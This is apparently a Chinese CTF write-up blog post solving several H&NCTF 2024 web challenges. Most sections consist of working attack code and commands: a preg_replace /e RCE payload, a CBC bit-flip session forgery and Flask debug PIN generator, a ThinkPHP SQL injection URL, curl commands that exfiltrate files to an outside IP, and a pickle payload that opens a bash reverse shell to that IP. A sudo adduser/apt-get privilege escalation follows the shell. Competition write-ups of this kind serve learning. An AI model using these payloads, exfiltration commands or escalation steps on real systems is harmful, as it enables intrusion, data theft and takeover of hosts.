H&NCTF2024-web-wp-By.Starven

发布于 2024-05-16  57 次阅读


Please_RCE_Me

考点

  • preg_replace设置e参数第二个参数导致代码执行


  • RCE的技巧-无参RCE


    分析


 <?php
if($_GET['moran'] === 'flag'){
    highlight_file(__FILE__);
    if(isset($_POST['task'])&&isset($_POST['flag'])){
        $str1 = $_POST['task'];
        $str2 = $_POST['flag'];
        if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
            die('hacker!');
        }else{
            preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
        }
    }
}else{
    echo "moran want a flag.</br>(?moran=flag)";
} 

payload

http://hnctf.imxbt.cn:42966/?moran=flag


task=print_r(readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd()))))))))))&flag=please_give_me_flaG

flag

H&NCTF{1e28b26e-1697-4fcf-bc56-98a2238359a1}

flipPin

考点

  • CBC反转字节码伪造session
  • flask pin码计算--读取机器码有过滤另寻他路

    分析


前往/hint路由得到源码

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
        return res
    except Exception as e:
        print(e)

app = Flask(__name__)

filename_blacklist = {
    'self',
    'cgroup',
    'mountinfo',
    'env',
    'flag'
}

@app.route("/")
def index():
    session = request.cookies.get('session')
    if session is None:
        res = Response(
            "welcome to the FlipPIN server try request /hint to get the hint")
        res.set_cookie('session', encrypt(default_session).decode())
        return res
    else:
        return 'have a fun'

@app.route("/hint")
def hint():
    res = Response(open(__file__).read(), mimetype='text/plain')
    return res

@app.route("/read")
def file():
    session = request.cookies.get('session')
    if session is None:
        res = Response("you are not logged in")
        res.set_cookie('session', encrypt(default_session))
        return res
    else:
        plain_session = decrypt(session)
        if plain_session is None:
            return 'don\'t hack me'

        session_data = json.loads(plain_session)

        if session_data['admin'] :
            filename = request.args.get('filename')

            if any(blacklist_str in filename for blacklist_str in filename_blacklist):
                abort(403, description='Access to this file is forbidden.')

            try:
                with open(filename, 'r') as f:
                    return f.read()
            except FileNotFoundError:
                abort(404, description='File not found.')
            except Exception as e:
                abort(500, description=f'An error occurred: {str(e)}')
        else:
            return 'You are not an administrator'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=9091, debug=True)

开启debug,想到三点

1.触发异常获取报错详细信息
2.热加载
3.代码调试

session伪造这里,题目溯源至一场上个月的国际赛TAMUCTF2024,考察的是密码学:CBC翻转字节,只能找现成payload

image.png
#-*- coding:utf8 -*-  

import base64  

import urllib.parse  

#iv  

#{"admin": 0, "us  

#ername": "guest"  

#}  

cipher = base64.b64decode("NCmjYxxz3E/SArHSZ8r+IvlpVSbEbdXyAk31lv4HQct6sJWqo6UHiOMkVMtLX1sjxN22u5mGp8jiv8Sf362fvA==")  

print(len(cipher))  

array_cipher = bytearray(cipher)  

iv = array_cipher[0:16]  

print(iv)  

decode_plain = '{"admin": 0, "username": "user1"}'  

#原始明文  

plain = '{"admin": 1, "us'  

newiv = list(iv)  

for i in range(0,16):  

    newiv[i] = (ord(plain[i].encode('utf-8')) ^ iv[i] ^ ord(decode_plain[i].encode('utf-8')))  

newiv = bytes(newiv)  

print('newiv:',base64.b64encode(newiv+cipher[16:]))
NCmjYxxz3E/SArDSZ8r+IvlpVSbEbdXyAk31lv4HQct6sJWqo6UHiOMkVMtLX1sjxN22u5mGp8jiv8Sf362fvA==
读/etc/passwd:用户名:ctfUser
读取/sys/class/net/eth0/address:
mac地址:ae:33:4c:1f:9d:05
---去掉冒号->  191535343705349

/etc/machine-id读不到,那么就是/proc/sys/kernel/random/boot_id/proc/self/cgroup拼接了

下面说一下过滤问题 https://blog.csdn.net/qq_35782055/article/details/129126825

/proc/sys/kernel/random/boot_id和/proc/1/cpuset读出来拼接

读/proc/sys/kernel/random/boot_id:
dd0fe358-1d2b-4bb4-90d1-5fee6bcf533f

读/proc/1/cpuset:
/kubepods/burstable/pod4f8b5fb0-d85f-4570-ab6f-b54c78429d4d/67588d3f2842dce5e658fce877331c0c89770c170c6292f73089ddd5d4ffe4c1

只取67588d3f2842dce5e658fce877331c0c89770c170c6292f73089ddd5d4ffe4c1

exp:

import hashlib

from itertools import chain

probably_public_bits = [

    'ctfUser'  # username 可通过/etc/passwd获取

    'flask.app',  # modname默认值

    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))

    '/usr/lib/python3.9/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)

]

private_bits = [

    '191535343705349',  # /sys/class/net/eth0/address mac地址十进制

    'dd0fe358-1d2b-4bb4-90d1-5fee6bcf533f67588d3f2842dce5e658fce877331c0c89770c170c6292f73089ddd5d4ffe4c1'

    # 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id   /proc/self/cgroup

    # 有machine-id 那就拼接machine-id + /proc/self/cgroup  否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup

]

# 下面为源码里面抄的,不需要修改

h = hashlib.sha1()

for bit in chain(probably_public_bits, private_bits):

    if not bit:

        continue

    if isinstance(bit, str):

        bit = bit.encode('utf-8')

    h.update(bit)

h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None

if num is None:

    h.update(b'pinsalt')

    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None

if rv is None:

    for group_size in 5, 4, 3:

        if len(num) % group_size == 0:

            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')

                          for x in range(0, len(num), group_size))

            break

    else:

        rv = num

print(rv)
#131-882-222
import os
os.popen('env').read()
image.png

flag

H&NCTF{636a1e59-82d8-430f-b0ac-d8e5d6f1eb40}

ez_tp

考点

thinkphp3.2.3sql注入漏洞 断点调试判断header触发waf改用python发包

分析

有附件,开题如下

image.png
image.png

在ThinkPHP/ThinkPHP.php判断版本为3.2.3

const THINK_VERSION     =   '3.2.3';

在/ThinkPHP/Conf/convention.php下判断路由模式

image.png

也就是http://hnctf.imxbt.cn:21477/index.php/home/index/h_n?这种

在/App/Home/Controller/IndexController.class.php下:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        header("Content-type:text/html;charset=utf-8");
        echo '装起来了';    
    }
    public function h_n(){
        function waf() {
            if (!function_exists('getallheaders')) {
                function getallheaders() {
                    foreach ($_SERVER as $name => $value) {
                        if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
                    }
                    return $headers;
                }
            }
            $get = $_GET;
            $post = $_POST;
            $cookie = $_COOKIE;
            $header = getallheaders();
            $files = $_FILES;
            $ip = $_SERVER["REMOTE_ADDR"];
            $method = $_SERVER['REQUEST_METHOD'];
            $filepath = $_SERVER["SCRIPT_NAME"];
            //rewirte shell which uploaded by others, you can do more
            foreach ($_FILES as $key => $value) {   //用来处理上传的文件,它将上传的文件内容读取为字符串,并将字符串内容替换为 "virink",然后将替换后的字符串重新写入到临时文件中
                $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
                file_put_contents($_FILES[$key]['tmp_name'], "virink");
            }
            unset($header['Accept']); //fix a bug //移除请求头中的 Accept 字段
            $input = array(
                "Get" => $get,
                "Post" => $post,
                "Cookie" => $cookie,
                "File" => $files,
                "Header" => $header
            );
            //deal with
            $pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
            $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
            $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
            $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
            $vpattern = explode("|", $pattern);
            $bool = false;
            foreach ($input as $k => $v) {
                foreach ($vpattern as $value) {
                    foreach ($v as $kk => $vv) {
                        if (preg_match("/$value/i", $vv)) {
                            $bool = true;
                            break;
                        }
                    }
                    if ($bool) break;
                }
                if ($bool) break;
            }
            return $bool;
        }

        $name = I('GET.name');
        $User = M("user");

        if (waf()){
            $this->index();
        }else{
            $ret = $User->field('username,age')->where(array('username'=>$name))->select();
            echo var_export($ret, true);
        }
        
    }
}

原理分析+代码审计之后专门写文章,这里不再赘述

原理分析参考文章:https://www.freebuf.com/articles/web/345544.html

构造数组传参即可,单引号闭合

payload:

http://hnctf.imxbt.cn:21477/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

这里下断点调试哪个header触发了waf(备忘1),用python发包绕过

import requests

res = requests.get(url = "http://hnctf.imxbt.cn:21477/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag")

print(res.text)
image.png

flag

H&NCTF{Cjp_267cae96-e3cb-4728-a037-d58ace5ce001}

ezFlask

考点

  • 代码注入
  • 出网情况下,curl -T filename ip:port外带文件内容
  • 无回显curl命令执行|base64编码外带

分析

开题

当前路径ls

cmd=__import__("os").system("curl 114.132.250.144:8080/`ls`")
image.png

拿源码

cmd=__import__("os").system("curl -T app.py 114.132.250.144:8080")
from flask import Flask, request, abort, render_template_string , config
from jinja2 import Template
import os
import shutil
import re



app = Flask(__name__)
# 路由可用性标志
routes_enabled = {
    'Adventure': True
}

eval('__import__("os").popen("sh /start.sh").read()')
eval('__import__("os").popen("chmod -R 000 /app/static/").read()')
eval('__import__("os").popen("rm -rf /bin/mkdir").read()')
eval('__import__("os").popen("rm -rf /bin/touch").read()')
eval('__import__("os").popen("rm -rf /bin/cp").read()')
eval('__import__("os").popen("rm -rf /bin/mv").read()')
eval('__import__("os").popen("rm -rf /bin/curl").read()')
eval('__import__("os").popen("rm -rf /bin/ping").read()')
eval('__import__("os").popen("rm -rf /bin/wget").read()')

if 'GZCTF_FLAG' in os.environ:
    del os.environ['GZCTF_FLAG']

@app.route('/')
def index():

    return ('冒险即将开始!!!\n'
            '请移步/Adventure路由进行命令执行,后端语句为:\n'
            '    cmd = request.form[\'cmd\']\n'
            '    eval(cmd)\n'
            '注意,你仅有一次机会,在进行唯一一次成功的命令执行后生成flag并写入/flag\n'
            '执行无回显,目录没权限部分命令ban,也不要想着写文件~\n')


@app.route('/Adventure', methods=['POST'])
def rce():
    if routes_enabled.get('Adventure', False):
        # 获取POST请求中的cmd参数
        cmd = request.form['cmd']


        try:
            bash_pattern = r'(bash|[-]c|[-]i|[-]d|dev|tcp|http|https|base|echo|YmFzaCA|bas|ash|ba\"\"sh|ba\'\'sh|ba\'sh|ba\"sh)'

            # 检查是否反弹shell
            if bool(re.search(bash_pattern, cmd)):
                return "亲亲这边不支持反弹shell哦~", 200

            eval(cmd)

            eval('__import__("os").popen("rm -rf /app/static/").read()')

            # 编码后正则
            pattern = [
                r'@app\.route',
                r'ZnJvbSBmbGFzay',
                r'%40app.route',
                r'\x40\x61\x70\x70\x2e\x72\x6f\x75\x74\x65',
                r'@ncc\.ebhgr',
                r'etuor\.ppa@',
                r'\u0040\u0061\u0070\u0070\u002e\u0072\u006f\u0075\u0074\u0065',
                r'from flask import Flask',
                r'from%20flask%20import%20Flask',
                r'\x66\x72\x6f\x6d\x20\x66\x6c\x61\x73\x6b\x20\x69\x6d\x70\x6f\x72\x74\x20\x46\x6c\x61\x73\x6b',
                r'\u0066\u0072\u006f\u006d\u0020\u0066\u006c\u0061\u0073\u006b\u0020\u0069\u006d\u0070\u006f\u0072\u0074\u0020\u0046\u006c\u0061\u0073\u006b',
                r'sebz synfx vzcbeg Synfx',
                r'&#102;&#114;&#111;&#109;&#32;&#102;&#108;&#97;&#115;&#107;&#32;&#105;&#109;&#112;&#111;&#114;&#116;&#32;&#70;&#108;&#97;&#115;&#107;',
                r'ksalF tropmi ksalf morf',
                r'flag',
                r'galf',
            ]

            pattern = '|'.join(pattern)  # 将列表合并为一个正则表达式字符串


            # 检查是否匹配
            if bool(re.search(pattern, eval(cmd))):
                return "不要想着读取源码哦~", 200


            # 关闭路由
            routes_enabled['Adventure'] = not routes_enabled['Adventure']
            with open('/etc/jaygalf', 'r') as source_file:
                content = source_file.read()
            with open('/flag', 'w') as target_file:
                target_file.write(content)

            eval('__import__("os").popen("rm -rf /app/static/").read()')

            return f"Success! 但是不回显嘻嘻", 200
        except Exception as e:
            if re.search(r"View function mapping is overwriting an existing endpoint function: (\w+)", str(e)):
                routes_enabled['Adventure'] = not routes_enabled['Adventure']
                with open('/etc/jaygalf', 'r') as source_file:
                    content = source_file.read()
                with open('/flag', 'w') as target_file:
                    target_file.write(content)
                return f"恭喜师傅,是预期解!!!!", 200

            return f"Error executing command: {e}", 400

    else:
        abort(403)  # 如果路由被禁用,则返回403禁止访问

if __name__ == '__main__':
    app.run(debug=False,host='0.0.0.0', port=9035)

看到这样一段代码

                with open('/etc/jaygalf', 'r') as source_file:
                    content = source_file.read()
                with open('/flag', 'w') as target_file:
                    target_file.write(content)
                return f"恭喜师傅,是预期解!!!!", 200

会把flag写进/etc/jaygalf

方法一:同样curl -T外带文件内容

payload:

cmd=__import__("os").system("curl -T /etc/jaygalf 114.132.250.144:8080")
image.png

方法二:

payload:

cmd=__import__("os").system("curl 114.132.250.144:8080/`cat /etc/jaygalf|ba''se64`")
ZmxhZ3thMGUzZjcxOS1jOGIyLTQ4YjAtODczYy1hNWU3ZDhjOTY1MTd9Cg==

flag{a0e3f719-c8b2-48b0-873c-a5e7d8c96517}

flag

flag{a0e3f719-c8b2-48b0-873c-a5e7d8c96517}

GoJava

分析

信息泄露robots.txt得到

User-agent: *
Disallow: ./main-old.zip

User-agent: *
Disallow: ./main.go
image.png

访问/main-old.zip得到源码

package main  
  
import (  
    "io"  
    "log"    "mime/multipart"    "net/http"    "os"    "strings")  
  
var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}  
  
func main() {  
    // 设置路由  
    http.HandleFunc("/gojava", compileJava)  
  
    // 设置静态文件服务器  
    fs := http.FileServer(http.Dir("."))  
    http.Handle("/", fs)  
  
    // 启动服务器  
    log.Println("Server started on :80")  
    log.Fatal(http.ListenAndServe(":80", nil))  
}  
  
func isFilenameBlacklisted(filename string) bool {  
    for _, char := range filename {  
       for _, blackChar := range blacklistChars {  
          if char == blackChar {  
             return true  
          }  
       }  
    }  
    return false  
}  
  
func compileJava(w http.ResponseWriter, r *http.Request) {  
    // 检查请求方法是否为POST  
    if r.Method != http.MethodPost {  
       http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)  
       return  
    }  
  
    // 解析multipart/form-data格式的表单数据  
    err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB  
    if err != nil {  
       http.Error(w, "Error parsing form", http.StatusInternalServerError)  
       return  
    }  
  
    // 从表单中获取上传的文件  
    file, handler, err := r.FormFile("file")  
    if err != nil {  
       http.Error(w, "Error retrieving file", http.StatusBadRequest)  
       return  
    }  
    defer file.Close()  
  
    if isFilenameBlacklisted(handler.Filename) {  
       http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)  
       return  
    }  
    if !strings.HasSuffix(handler.Filename, ".java") {  
       http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)  
       return  
    }  
    err = saveFile(file, "./upload/"+handler.Filename)  
    if err != nil {  
       http.Error(w, "Error saving file", http.StatusInternalServerError)  
       return  
    }  
}  
  
func saveFile(file multipart.File, filePath string) error {  
    // 创建目标文件  
    f, err := os.Create(filePath)  
    if err != nil {  
       return err  
    }  
    defer f.Close()  
  
    // 将上传的文件内容复制到目标文件中  
    _, err = io.Copy(f, file)  
    if err != nil {  
       return err  
    }  
  
    return nil  
}

代审,环境关了不复现了

GPTS

分析

开题有点懵逼没思路,如果作为出题人,AI的web漏洞我会出最新的cve

去搜搜到CVE-2024-31224

image.png
image.png

https://nvd.nist.gov/vuln/detail/CVE-2024-31224

https://xz.aliyun.com/t/14283

开题进来,没有cookie(平台的别看

image.png

然后界面外观--->自定义菜单--->创建自定义功能区按钮

image.png

看到成功生成能够pickle反序列化的cookie

image.png

查看文章里的payload,calc改成反弹shell即可

import base64
import pickle

def from_cookie_str(c):
    # Decode the base64-encoded string and unpickle it into a dictionary
    pickled_dict = base64.b64decode(c.encode("utf-8"))
    return pickle.loads(pickled_dict)

opcode=b'''cos
system
(S'calc'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)
from_cookie_str(opcode)
import base64
import pickle

def from_cookie_str(c):
    # Decode the base64-encoded string and unpickle it into a dictionary
    pickled_dict = base64.b64decode(c.encode("utf-8"))
    return pickle.loads(pickled_dict)

opcode=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/114.132.250.144/8080 0>&1"'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)
//Y29zCnN5c3RlbQooUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzExNC4xMzIuMjUwLjE0NC84MDgwIDA+JjEiJwp0Ui4=

拿到shell:

image.png

拿到shell,首先第一步信息收集

这里我们先对用户ctfgame进行信息收集

首先上传Linpeas进行信息收集或者用命令列举可读取文件

命令列举可读取文件
find / -type f -user ctfgame -readable 2>/dev/null
上传Linpeas进行信息收集
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh
image.png

在这里发现var/mail/ctfgame

image.png
image.png

查看其中内容

image.png
From root,
To ctfgame(ctfer),

You know that I'm giving you permissions to make it easier for you to build your website, but now your users have been hacked.

This is the last chance, please take care of your security, I helped you reset your account password.

ctfer : KbsrZrSCVeui#+R

I hope you cherish this

得到一个用户的用户名和密码

ctfer : KbsrZrSCVeui#+R

切换用户到ctfer

image.png

执行sudo -l,发现可以免密执行adduser命令

参考文章https://cloud.tencent.com/developer/article/1786586中的apt-get提权

因为可以免密执行adduser命令,添加一个root组的用户

从而达到执行cat /etc/sudoers的目的

sudo adduser starven -gid=0
image.png
image.png

发现有kobe用户存在/apt-get因此可以利用apt-get提权

将kobe加入root组

sudo adduser kobe -gid=0

然后apt-get提权

sudo -S apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

要使用sudo运行带密码的命令这样写:

sudo -S command

-S选项告诉sudo要求用户输入密码。运行这条命令时,会提示输入密码,然后执行command
image.png

flag

H&NCTF{6ea7c13e-e7df-4294-bed8-684d69d4abac}

大一在读菜鸡ctfer的成长记录